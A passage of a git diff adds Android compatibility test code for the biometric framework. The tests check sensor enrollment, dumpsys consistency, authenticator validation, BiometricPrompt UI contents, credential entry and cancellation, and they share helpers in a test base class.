+        }
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
new file mode 100644
index 0000000..1f1d06a
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
@@ -0,0 +1,355 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+
+import android.content.pm.PackageManager;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricManager.Authenticators;
+import android.hardware.biometrics.BiometricPrompt;
+import android.hardware.biometrics.BiometricTestSession;
+import android.hardware.biometrics.SensorProperties;
+import android.os.CancellationSignal;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+
+import com.android.server.biometrics.nano.SensorStateProto;
+
+import org.junit.Test;
+
+import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Simple tests.
+ */
+@Presubmit
+public class BiometricSimpleTests extends BiometricTestBase {
+    private static final String TAG = "BiometricTests/Simple";
+
+    /**
+     * Tests that enrollments created via {@link BiometricTestSession} show up in the
+     * biometric dumpsys.
+     */
+    @Test
+    public void testEnroll() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId())){
+                enrollForSensor(session, prop.getSensorId());
+            }
+        }
+    }
+
+    /**
+     * Tests that the sensorIds retrieved via {@link BiometricManager#getSensorProperties()} and
+     * the dumpsys are consistent with each other.
+     */
+    @Test
+    public void testSensorPropertiesAndDumpsysMatch() throws Exception {
+        final BiometricServiceState state = getCurrentState();
+
+        assertEquals(mSensorProperties.size(), state.mSensorStates.sensorStates.size());
+        for (SensorProperties prop : mSensorProperties) {
+            assertTrue(state.mSensorStates.sensorStates.containsKey(prop.getSensorId()));
+        }
+    }
+
+    /**
+     * Tests that the PackageManager features and biometric dumpsys are consistent with each other.
+     */
+    @Test
+    public void testPackageManagerAndDumpsysMatch() throws Exception {
+        final BiometricServiceState state = getCurrentState();
+
+        final PackageManager pm = mContext.getPackageManager();
+
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT),
+                state.mSensorStates.containsModality(SensorStateProto.FINGERPRINT));
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FACE),
+                state.mSensorStates.containsModality(SensorStateProto.FACE));
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_IRIS),
+                state.mSensorStates.containsModality(SensorStateProto.IRIS));
+    }
+
+    @Test
+    public void testCanAuthenticate_whenNoSensors() {
+        if (mSensorProperties.isEmpty()) {
+            assertEquals(BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE,
+                    mBiometricManager.canAuthenticate(Authenticators.BIOMETRIC_WEAK));
+            assertEquals(BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE,
+                    mBiometricManager.canAuthenticate(Authenticators.BIOMETRIC_STRONG));
+        }
+    }
+
+    @Test
+    public void testInvalidInputs() {
+        for (int i = 0; i < 32; i++) {
+            final int authenticator = 1 << i;
+            // If it's a public constant, no need to test
+            if (Utils.isPublicAuthenticatorConstant(authenticator)) {
+                continue;
+            }
+
+            // Test canAuthenticate(int)
+            assertThrows("Invalid authenticator in canAuthenticate must throw exception: "
+                            + authenticator,
+                    Exception.class,
+                    () -> mBiometricManager.canAuthenticate(authenticator));
+
+            // Test BiometricPrompt
+            assertThrows("Invalid authenticator in authenticate must throw exception: "
+                            + authenticator,
+                    Exception.class,
+                    () -> showBiometricPromptWithAuthenticators(authenticator));
+        }
+    }
+
+    /**
+     * When device credential is not enrolled, check the behavior for
+     * 1) BiometricManager#canAuthenticate(DEVICE_CREDENTIAL)
+     * 2) BiometricPrompt#setAllowedAuthenticators(DEVICE_CREDENTIAL)
+     * 3) @deprecated BiometricPrompt#setDeviceCredentialAllowed(true)
+     */
+    @Test
+    public void testWhenCredentialNotEnrolled() throws Exception {
+        // First case above
+        final int result = mBiometricManager.canAuthenticate(BiometricManager
+                .Authenticators.DEVICE_CREDENTIAL);
+        assertEquals(BiometricManager.BIOMETRIC_ERROR_NONE_ENROLLED, result);
+
+        // Second case above
+        BiometricPrompt.AuthenticationCallback callback =
+                mock(BiometricPrompt.AuthenticationCallback.class);
+        showCredentialOnlyBiometricPrompt(callback, new CancellationSignal(),
+                false /* shouldShow */);
+        verify(callback).onAuthenticationError(
+                eq(BiometricPrompt.BIOMETRIC_ERROR_NO_DEVICE_CREDENTIAL),
+                any());
+
+        // Third case above. Since the deprecated API is intended to allow credential in addition
+        // to biometrics, we should be receiving BIOMETRIC_ERROR_NO_BIOMETRICS.
+        callback = mock(BiometricPrompt.AuthenticationCallback.class);
+        showDeviceCredentialAllowedBiometricPrompt(callback, new CancellationSignal(),
+                false /* shouldShow */);
+        verify(callback).onAuthenticationError(
+                eq(BiometricPrompt.BIOMETRIC_ERROR_NO_BIOMETRICS),
+                any());
+    }
+
+    /**
+     * When device credential is enrolled, check the behavior for
+     * 1) BiometricManager#canAuthenticate(DEVICE_CREDENTIAL)
+     * 2a) Successfully authenticating BiometricPrompt#setAllowedAuthenticators(DEVICE_CREDENTIAL)
+     * 2b) Cancelling authentication for the above
+     * 3a) @deprecated BiometricPrompt#setDeviceCredentialALlowed(true)
+     * 3b) Cancelling authentication for the above
+     * 4) Cancelling auth for options 2) and 3)
+     */
+    @Test
+    public void testWhenCredentialEnrolled() throws Exception {
+        try (CredentialSession session = new CredentialSession()) {
+            session.setCredential();
+
+            // First case above
+            final int result = mBiometricManager.canAuthenticate(BiometricManager
+                    .Authenticators.DEVICE_CREDENTIAL);
+            assertEquals(BiometricManager.BIOMETRIC_SUCCESS, result);
+
+            // 2a above
+            BiometricPrompt.AuthenticationCallback callback =
+                    mock(BiometricPrompt.AuthenticationCallback.class);
+            showCredentialOnlyBiometricPrompt(callback, new CancellationSignal(),
+                    true /* shouldShow */);
+            successfullyEnterCredential();
+            verify(callback).onAuthenticationSucceeded(any());
+
+            // 2b above
+            CancellationSignal cancel = new CancellationSignal();
+            callback = mock(BiometricPrompt.AuthenticationCallback.class);
+            showCredentialOnlyBiometricPrompt(callback, cancel, true /* shouldShow */);
+            cancelAuthentication(cancel);
+            verify(callback).onAuthenticationError(eq(BiometricPrompt.BIOMETRIC_ERROR_CANCELED),
+                    any());
+
+            // 3a above
+            callback = mock(BiometricPrompt.AuthenticationCallback.class);
+            showDeviceCredentialAllowedBiometricPrompt(callback, new CancellationSignal(),
+                    true /* shouldShow */);
+            successfullyEnterCredential();
+            verify(callback).onAuthenticationSucceeded(any());
+
+            // 3b above
+            cancel = new CancellationSignal();
+            callback = mock(BiometricPrompt.AuthenticationCallback.class);
+            showDeviceCredentialAllowedBiometricPrompt(callback, cancel, true /* shouldShow */);
+            cancelAuthentication(cancel);
+            verify(callback).onAuthenticationError(eq(BiometricPrompt.BIOMETRIC_ERROR_CANCELED),
+                    any());
+        }
+    }
+
+    /**
+     * Tests that the values specified through the public APIs are shown on the BiometricPrompt UI
+     * when biometric auth is requested.
+     *
+     * Upon successful authentication, checks that the result is
+     * {@link BiometricPrompt#AUTHENTICATION_RESULT_TYPE_BIOMETRIC}
+     */
+    @Test
+    public void testSimpleBiometricAuth() throws Exception {
+        for (SensorProperties props : mSensorProperties) {
+
+            Log.d(TAG, "testSimpleBiometricAuth, sensor: " + props.getSensorId());
+
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(props.getSensorId())) {
+
+                final int authenticatorStrength =
+                        Utils.testApiStrengthToAuthenticatorStrength(props.getSensorStrength());
+
+                assertEquals("Sensor: " + props.getSensorId()
+                                + ", strength: " + props.getSensorStrength(),
+                        BiometricManager.BIOMETRIC_ERROR_NONE_ENROLLED,
+                        mBiometricManager.canAuthenticate(authenticatorStrength));
+
+                enrollForSensor(session, props.getSensorId());
+
+                assertEquals("Sensor: " + props.getSensorId()
+                                + ", strength: " + props.getSensorStrength(),
+                        BiometricManager.BIOMETRIC_SUCCESS,
+                        mBiometricManager.canAuthenticate(authenticatorStrength));
+
+                final Random random = new Random();
+                final String randomTitle = String.valueOf(random.nextInt(10000));
+                final String randomSubtitle = String.valueOf(random.nextInt(10000));
+                final String randomDescription = String.valueOf(random.nextInt(10000));
+                final String randomNegativeButtonText = String.valueOf(random.nextInt(10000));
+
+                CountDownLatch latch = new CountDownLatch(1);
+                BiometricPrompt.AuthenticationCallback callback =
+                        new BiometricPrompt.AuthenticationCallback() {
+                    @Override
+                    public void onAuthenticationSucceeded(
+                            BiometricPrompt.AuthenticationResult result) {
+                        assertEquals("Must be TYPE_BIOMETRIC",
+                                BiometricPrompt.AUTHENTICATION_RESULT_TYPE_BIOMETRIC,
+                                result.getAuthenticationType());
+                        latch.countDown();
+                    }
+                };
+
+                showDefaultBiometricPromptWithContents(props.getSensorId(), 0 /* userId */,
+                        true /* requireConfirmation */, callback, randomTitle, randomSubtitle,
+                        randomDescription, randomNegativeButtonText);
+
+                final UiObject2 actualTitle = findView(TITLE_VIEW);
+                final UiObject2 actualSubtitle = findView(SUBTITLE_VIEW);
+                final UiObject2 actualDescription = findView(DESCRIPTION_VIEW);
+                final UiObject2 actualNegativeButton = findView(BUTTON_ID_NEGATIVE);
+                assertEquals(randomTitle, actualTitle.getText());
+                assertEquals(randomSubtitle, actualSubtitle.getText());
+                assertEquals(randomDescription, actualDescription.getText());
+                assertEquals(randomNegativeButtonText, actualNegativeButton.getText());
+
+                // Finish auth
+                successfullyAuthenticate(session, 0 /* userId */);
+                latch.await(3, TimeUnit.SECONDS);
+            }
+        }
+    }
+
+    /**
+     * Tests that the values specified through the public APIs are shown on the BiometricPrompt UI
+     * when credential auth is requested.
+     *
+     * Upon successful authentication, checks that the result is
+     * {@link BiometricPrompt#AUTHENTICATION_RESULT_TYPE_BIOMETRIC}
+     */
+    @Test
+    public void testSimpleCredentialAuth() throws Exception {
+        try (CredentialSession session = new CredentialSession()){
+            session.setCredential();
+
+            final Random random = new Random();
+            final String randomTitle = String.valueOf(random.nextInt(10000));
+            final String randomSubtitle = String.valueOf(random.nextInt(10000));
+            final String randomDescription = String.valueOf(random.nextInt(10000));
+
+            CountDownLatch latch = new CountDownLatch(1);
+            BiometricPrompt.AuthenticationCallback callback =
+                    new BiometricPrompt.AuthenticationCallback() {
+                @Override
+                public void onAuthenticationSucceeded(
+                        BiometricPrompt.AuthenticationResult result) {
+                    assertEquals("Must be TYPE_CREDENTIAL",
+                            BiometricPrompt.AUTHENTICATION_RESULT_TYPE_DEVICE_CREDENTIAL,
+                            result.getAuthenticationType());
+                    latch.countDown();
+                }
+            };
+            showCredentialOnlyBiometricPromptWithContents(callback, new CancellationSignal(),
+                    true /* shouldShow */, randomTitle, randomSubtitle, randomDescription);
+
+            final UiObject2 actualTitle = findView(TITLE_VIEW);
+            final UiObject2 actualSubtitle = findView(SUBTITLE_VIEW);
+            final UiObject2 actualDescription = findView(DESCRIPTION_VIEW);
+            assertEquals(randomTitle, actualTitle.getText());
+            assertEquals(randomSubtitle, actualSubtitle.getText());
+            assertEquals(randomDescription, actualDescription.getText());
+
+            // Finish auth
+            successfullyEnterCredential();
+            latch.await(3, TimeUnit.SECONDS);
+        }
+    }
+
+    /**
+     * Tests that cancelling auth succeeds, and that ERROR_CANCELED is received.
+     */
+    @Test
+    public void testBiometricCancellation() throws Exception {
+        for (SensorProperties props : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(props.getSensorId())) {
+                enrollForSensor(session, props.getSensorId());
+
+                BiometricPrompt.AuthenticationCallback callback =
+                        mock(BiometricPrompt.AuthenticationCallback.class);
+                CancellationSignal cancellationSignal = new CancellationSignal();
+
+                showDefaultBiometricPrompt(props.getSensorId(), 0 /* userId */,
+                        true /* requireConfirmation */, callback, cancellationSignal);
+
+                cancelAuthentication(cancellationSignal);
+                verify(callback).onAuthenticationError(eq(BiometricPrompt.BIOMETRIC_ERROR_CANCELED),
+                        any());
+                verifyNoMoreInteractions(callback);
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
new file mode 100644
index 0000000..444d607
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
@@ -0,0 +1,554 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static android.os.PowerManager.FULL_WAKE_LOCK;
+import static android.server.biometrics.SensorStates.SensorState;
+import static android.server.biometrics.SensorStates.UserState;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_IDLE;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_PENDING_CONFIRM;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_STARTED_UI_SHOWING;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_SHOWING_DEVICE_CREDENTIAL;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+import static org.mockito.Mockito.mock;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricManager.Authenticators;
+import android.hardware.biometrics.BiometricPrompt;
+import android.hardware.biometrics.BiometricTestSession;
+import android.hardware.biometrics.SensorProperties;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.TestJournalProvider.TestJournal;
+import android.server.wm.UiDeviceUtils;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.server.biometrics.nano.BiometricServiceStateProto;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Executor;
+
+/**
+ * Base class containing useful functionality. Actual tests should be done in subclasses.
+ */
+abstract class BiometricTestBase extends ActivityManagerTestBase {
+
+    private static final String TAG = "BiometricTestBase";
+    private static final String DUMPSYS_BIOMETRIC = "dumpsys biometric --proto";
+    private static final String FLAG_CLEAR_SCHEDULER_LOG = " --clear-scheduler-buffer";
+
+    // Negative-side (left) buttons
+    protected static final String BUTTON_ID_NEGATIVE = "button_negative";
+    protected static final String BUTTON_ID_CANCEL = "button_cancel";
+    protected static final String BUTTON_ID_USE_CREDENTIAL = "button_use_credential";
+
+    // Positive-side (right) buttons
+    protected static final String BUTTON_ID_CONFIRM = "button_confirm";
+    protected static final String BUTTON_ID_TRY_AGAIN = "button_try_again";
+
+    // Biometric text contents
+    protected static final String TITLE_VIEW = "title";
+    protected static final String SUBTITLE_VIEW = "subtitle";
+    protected static final String DESCRIPTION_VIEW = "description";
+
+    protected static final String VIEW_ID_PASSWORD_FIELD = "lockPassword";
+
+    @NonNull protected Instrumentation mInstrumentation;
+    @NonNull protected BiometricManager mBiometricManager;
+    @NonNull protected List<SensorProperties> mSensorProperties;
+    @Nullable private PowerManager.WakeLock mWakeLock;
+    @NonNull protected UiDevice mDevice;
+    protected boolean mHasStrongBox;
+
+    /**
+     * Expose this functionality to our package, since ActivityManagerTestBase's is `protected`.
+     * @param componentName
+     */
+    void launchActivity(@NonNull ComponentName componentName) {
+        super.launchActivity(componentName);
+    }
+
+    /**
+     * Retrieves the current states of all biometric sensor services (e.g. FingerprintService,
+     * FaceService, etc).
+     *
+     * Note that the states are retrieved from BiometricService, instead of individual services.
+     * This is because 1) BiometricService is the source of truth for all public API-facing things,
+     * and 2) This to include other information, such as UI states, etc as well.
+     */
+    @NonNull
+    protected BiometricServiceState getCurrentState() throws Exception {
+        final byte[] dump = Utils.executeShellCommand(DUMPSYS_BIOMETRIC);
+        final BiometricServiceStateProto proto = BiometricServiceStateProto.parseFrom(dump);
+        return BiometricServiceState.parseFrom(proto);
+    }
+
+    @NonNull
+    protected BiometricServiceState getCurrentStateAndClearSchedulerLog() throws Exception {
+        final byte[] dump = Utils.executeShellCommand(DUMPSYS_BIOMETRIC
+                + FLAG_CLEAR_SCHEDULER_LOG);
+        final BiometricServiceStateProto proto = BiometricServiceStateProto.parseFrom(dump);
+        return BiometricServiceState.parseFrom(proto);
+    }
+
+    @Nullable
+    protected UiObject2 findView(String id) {
+        Log.d(TAG, "Finding view: " + id);
+        return mDevice.findObject(By.res(mBiometricManager.getUiPackage(), id));
+    }
+
+    protected void findAndPressButton(String id) {
+        final UiObject2 button = findView(id);
+        assertNotNull(button);
+        Log.d(TAG, "Clicking button: " + id);
+        button.click();
+    }
+
+    protected SensorStates getSensorStates() throws Exception {
+        return getCurrentState().mSensorStates;
+    }
+
+    protected void waitForState(@BiometricServiceState.AuthSessionState int state)
+            throws Exception {
+        for (int i = 0; i < 20; i++) {
+            final BiometricServiceState serviceState = getCurrentState();
+            if (serviceState.mState != state) {
+                Log.d(TAG, "Not in state " + state + " yet, current: " + serviceState.mState);
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        Log.d(TAG, "Timed out waiting for state to become: " + state);
+    }
+
+    private void waitForStateNotEqual(@BiometricServiceState.AuthSessionState int state)
+            throws Exception {
+        for (int i = 0; i < 20; i++) {
+            final BiometricServiceState serviceState = getCurrentState();
+            if (serviceState.mState == state) {
+                Log.d(TAG, "Not out of state yet, current: " + serviceState.mState);
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        Log.d(TAG, "Timed out waiting for state to not equal: " + state);
+    }
+
+    private boolean anyEnrollmentsExist() throws Exception {
+        final BiometricServiceState serviceState = getCurrentState();
+
+        for (SensorState sensorState : serviceState.mSensorStates.sensorStates.values()) {
+            for (UserState userState : sensorState.getUserStates().values()) {
+                if (userState.numEnrolled != 0) {
+                    Log.d(TAG, "Enrollments still exist: " + serviceState);
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    protected void successfullyAuthenticate(@NonNull BiometricTestSession session, int userId)
+            throws Exception {
+        session.acceptAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+        waitForStateNotEqual(STATE_AUTH_STARTED_UI_SHOWING);
+        BiometricServiceState state = getCurrentState();
+        Log.d(TAG, "State after acceptAuthentication: " + state);
+        if (state.mState == STATE_AUTH_PENDING_CONFIRM) {
+            findAndPressButton(BUTTON_ID_CONFIRM);
+            mInstrumentation.waitForIdleSync();
+            waitForState(STATE_AUTH_IDLE);
+        } else {
+            waitForState(STATE_AUTH_IDLE);
+        }
+
+        assertEquals("Failed to become idle after authenticating",
+                STATE_AUTH_IDLE, getCurrentState().mState);
+    }
+
+    protected void successfullyEnterCredential() throws Exception {
+        waitForState(STATE_SHOWING_DEVICE_CREDENTIAL);
+        BiometricServiceState state = getCurrentState();
+        assertTrue(state.toString(), state.mSensorStates.areAllSensorsIdle());
+        assertEquals(state.toString(), STATE_SHOWING_DEVICE_CREDENTIAL, state.mState);
+
+        // Wait for any animations to complete. Ideally, this should be reflected in
+        // STATE_SHOWING_DEVICE_CREDENTIAL, but SysUI and BiometricService are different processes
+        // so we'd need to add some additional plumbing. We can improve this in the future.
+        // TODO(b/152240892)
+        Thread.sleep(1000);
+
+        // Enter credential. AuthSession done, authentication callback received
+        final UiObject2 passwordField = findView(VIEW_ID_PASSWORD_FIELD);
+        Log.d(TAG, "Focusing, entering, submitting credential");
+        passwordField.click();
+        passwordField.setText(LOCK_CREDENTIAL);
+        mDevice.pressEnter();
+        waitForState(STATE_AUTH_IDLE);
+
+        state = getCurrentState();
+        assertEquals(state.toString(), STATE_AUTH_IDLE, state.mState);
+    }
+
+    protected void cancelAuthentication(@NonNull CancellationSignal cancel) throws Exception {
+        cancel.cancel();
+        mInstrumentation.waitForIdleSync();
+        waitForState(STATE_AUTH_IDLE);
+
+        //TODO(b/152240892): Currently BiometricService does not get a signal from SystemUI
+        //  when the dialog finishes animating away.
+        Thread.sleep(1000);
+
+        BiometricServiceState state = getCurrentState();
+        assertEquals("Not idle after requesting cancellation", state.mState, STATE_AUTH_IDLE);
+    }
+
+    protected void waitForAllUnenrolled() throws Exception {
+        for (int i = 0; i < 20; i++) {
+            if (anyEnrollmentsExist()) {
+                Log.d(TAG, "Enrollments still exist..");
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        fail("Some sensors still have enrollments. State: " + getCurrentState());
+    }
+
+    /**
+     * Shows a BiometricPrompt that specifies {@link Authenticators#DEVICE_CREDENTIAL}.
+     */
+    protected void showCredentialOnlyBiometricPrompt(
+            @NonNull BiometricPrompt.AuthenticationCallback callback,
+            @NonNull CancellationSignal cancellationSignal,
+            boolean shouldShow) throws Exception {
+        showCredentialOnlyBiometricPromptWithContents(callback, cancellationSignal, shouldShow,
+                "Title", "Subtitle", "Description");
+    }
+
+    /**
+     * Shows a BiometricPrompt that specifies {@link Authenticators#DEVICE_CREDENTIAL}
+     * and the specified contents.
+     */
+    protected void showCredentialOnlyBiometricPromptWithContents(
+            @NonNull BiometricPrompt.AuthenticationCallback callback,
+            @NonNull CancellationSignal cancellationSignal, boolean shouldShow,
+            @NonNull String title, @NonNull String subtitle,
+            @NonNull String description) throws Exception {
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricPrompt prompt = new BiometricPrompt.Builder(mContext)
+                .setTitle(title)
+                .setSubtitle(subtitle)
+                .setDescription(description)
+                .setAllowedAuthenticators(Authenticators.DEVICE_CREDENTIAL)
+                .setAllowBackgroundAuthentication(true)
+                .build();
+
+        prompt.authenticate(cancellationSignal, executor, callback);
+        mInstrumentation.waitForIdleSync();
+
+        // Wait for any animations to complete. Ideally, this should be reflected in
+        // STATE_SHOWING_DEVICE_CREDENTIAL, but SysUI and BiometricService are different processes
+        // so we'd need to add some additional plumbing. We can improve this in the future.
+        // TODO(b/152240892)
+        Thread.sleep(1000);
+
+        if (shouldShow) {
+            waitForState(STATE_SHOWING_DEVICE_CREDENTIAL);
+            BiometricServiceState state = getCurrentState();
+            assertEquals(state.toString(), STATE_SHOWING_DEVICE_CREDENTIAL, state.mState);
+        } else {
+            Utils.waitForIdleService(this::getSensorStates);
+        }
+    }
+
+    /**
+     * SHows a BiometricPrompt that sets
+     * {@link BiometricPrompt.Builder#setDeviceCredentialAllowed(boolean)} to true.
+     */
+    protected void showDeviceCredentialAllowedBiometricPrompt(
+            @NonNull BiometricPrompt.AuthenticationCallback callback,
+            @NonNull CancellationSignal cancellationSignal,
+            boolean shouldShow) throws Exception {
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricPrompt prompt = new BiometricPrompt.Builder(mContext)
+                .setTitle("Title")
+                .setSubtitle("Subtitle")
+                .setDescription("Description")
+                .setDeviceCredentialAllowed(true)
+                .setAllowBackgroundAuthentication(true)
+                .build();
+
+        prompt.authenticate(cancellationSignal, executor, callback);
+        mInstrumentation.waitForIdleSync();
+
+        // Wait for any animations to complete. Ideally, this should be reflected in
+        // STATE_SHOWING_DEVICE_CREDENTIAL, but SysUI and BiometricService are different processes
+        // so we'd need to add some additional plumbing. We can improve this in the future.
+        // TODO(b/152240892)
+        Thread.sleep(1000);
+
+        if (shouldShow) {
+            waitForState(STATE_SHOWING_DEVICE_CREDENTIAL);
+            BiometricServiceState state = getCurrentState();
+            assertEquals(state.toString(), STATE_SHOWING_DEVICE_CREDENTIAL, state.mState);
+        } else {
+            Utils.waitForIdleService(this::getSensorStates);
+        }
+    }
+
+    protected void showDefaultBiometricPrompt(int sensorId, int userId,
+            boolean requireConfirmation, @NonNull BiometricPrompt.AuthenticationCallback callback,
+            @NonNull CancellationSignal cancellationSignal) throws Exception {
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricPrompt prompt = new BiometricPrompt.Builder(mContext)
+                .setTitle("Title")
+                .setSubtitle("Subtitle")
+                .setDescription("Description")
+                .setConfirmationRequired(requireConfirmation)
+                .setNegativeButton("Negative Button", executor, (dialog, which) -> {
+                    Log.d(TAG, "Negative button pressed");
+                })
+                .setAllowBackgroundAuthentication(true)
+                .setAllowedSensorIds(new ArrayList<>(Collections.singletonList(sensorId)))
+                .build();
+        prompt.authenticate(cancellationSignal, executor, callback);
+
+        waitForState(STATE_AUTH_STARTED_UI_SHOWING);
+    }
+
+    /**
+     * Shows the default BiometricPrompt (sensors meeting BIOMETRIC_WEAK) with a negative button,
+     * but does not complete authentication. In other words, the dialog will stay on the screen.
+     */
+    protected void showDefaultBiometricPromptWithContents(int sensorId, int userId,
+            boolean requireConfirmation, @NonNull BiometricPrompt.AuthenticationCallback callback,
+            @NonNull String title, @NonNull String subtitle, @NonNull String description,
+            @NonNull String negativeButtonText) throws Exception {
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricPrompt prompt = new BiometricPrompt.Builder(mContext)
+                .setTitle(title)
+                .setSubtitle(subtitle)
+                .setDescription(description)
+                .setConfirmationRequired(requireConfirmation)
+                .setNegativeButton(negativeButtonText, executor, (dialog, which) -> {
+                    Log.d(TAG, "Negative button pressed");
+                })
+                .setAllowBackgroundAuthentication(true)
+                .setAllowedSensorIds(new ArrayList<>(Collections.singletonList(sensorId)))
+                .build();
+        prompt.authenticate(new CancellationSignal(), executor,
+                new BiometricPrompt.AuthenticationCallback() {
+                    @Override
+                    public void onAuthenticationError(int errorCode, CharSequence errString) {
+                        Log.d(TAG, "onAuthenticationError: " + errorCode);
+                    }
+
+                    @Override
+                    public void onAuthenticationSucceeded(
+                            BiometricPrompt.AuthenticationResult result) {
+                        Log.d(TAG, "onAuthenticationSucceeded");
+                    }
+                });
+
+        waitForState(STATE_AUTH_STARTED_UI_SHOWING);
+    }
+
+    /**
+     * Shows the default BiometricPrompt (sensors meeting BIOMETRIC_WEAK) with a negative button,
+     * and fakes successful authentication via TestApis.
+     */
+    protected void showDefaultBiometricPromptAndAuth(@NonNull BiometricTestSession session,
+            int sensorId, int userId) throws Exception {
+        BiometricPrompt.AuthenticationCallback callback = mock(
+                BiometricPrompt.AuthenticationCallback.class);
+        showDefaultBiometricPromptWithContents(sensorId, userId, false /* requireConfirmation */,
+                callback, "Title", "Subtitle", "Description", "Negative Button");
+        successfullyAuthenticate(session, userId);
+    }
+
+    protected void showBiometricPromptWithAuthenticators(int authenticators) {
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricPrompt prompt = new BiometricPrompt.Builder(mContext)
+                .setTitle("Title")
+                .setSubtitle("Subtitle")
+                .setDescription("Description")
+                .setNegativeButton("Negative Button", executor, (dialog, which) -> {
+                    Log.d(TAG, "Negative button pressed");
+                })
+                .setAllowBackgroundAuthentication(true)
+                .setAllowedAuthenticators(authenticators)
+                .build();
+        prompt.authenticate(new CancellationSignal(), executor,
+                new BiometricPrompt.AuthenticationCallback() {
+                    @Override
+                    public void onAuthenticationError(int errorCode, CharSequence errString) {
+                        Log.d(TAG, "onAuthenticationError: " + errorCode);
+                    }
+
+                    @Override
+                    public void onAuthenticationSucceeded(
+                            BiometricPrompt.AuthenticationResult result) {
+                        Log.d(TAG, "onAuthenticationSucceeded");
+                    }
+                });
+    }
+
+    @NonNull
+    protected static BiometricCallbackHelper.State getCallbackState(@NonNull TestJournal journal) {
+        Utils.waitFor("Waiting for authentication callback",
+                () -> journal.extras.containsKey(BiometricCallbackHelper.KEY));
+
+        final Bundle bundle = journal.extras.getBundle(BiometricCallbackHelper.KEY);
+        if (bundle == null) {
+            return new BiometricCallbackHelper.State();
+        }
+
+        final BiometricCallbackHelper.State state =
+                BiometricCallbackHelper.State.fromBundle(bundle);
+
+        // Clear the extras since we want to wait for the journal to sync any new info the next
+        // time it's read
+        journal.extras.clear();
+
+        return state;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = getInstrumentation();
+        mBiometricManager = mInstrumentation.getContext().getSystemService(BiometricManager.class);
+
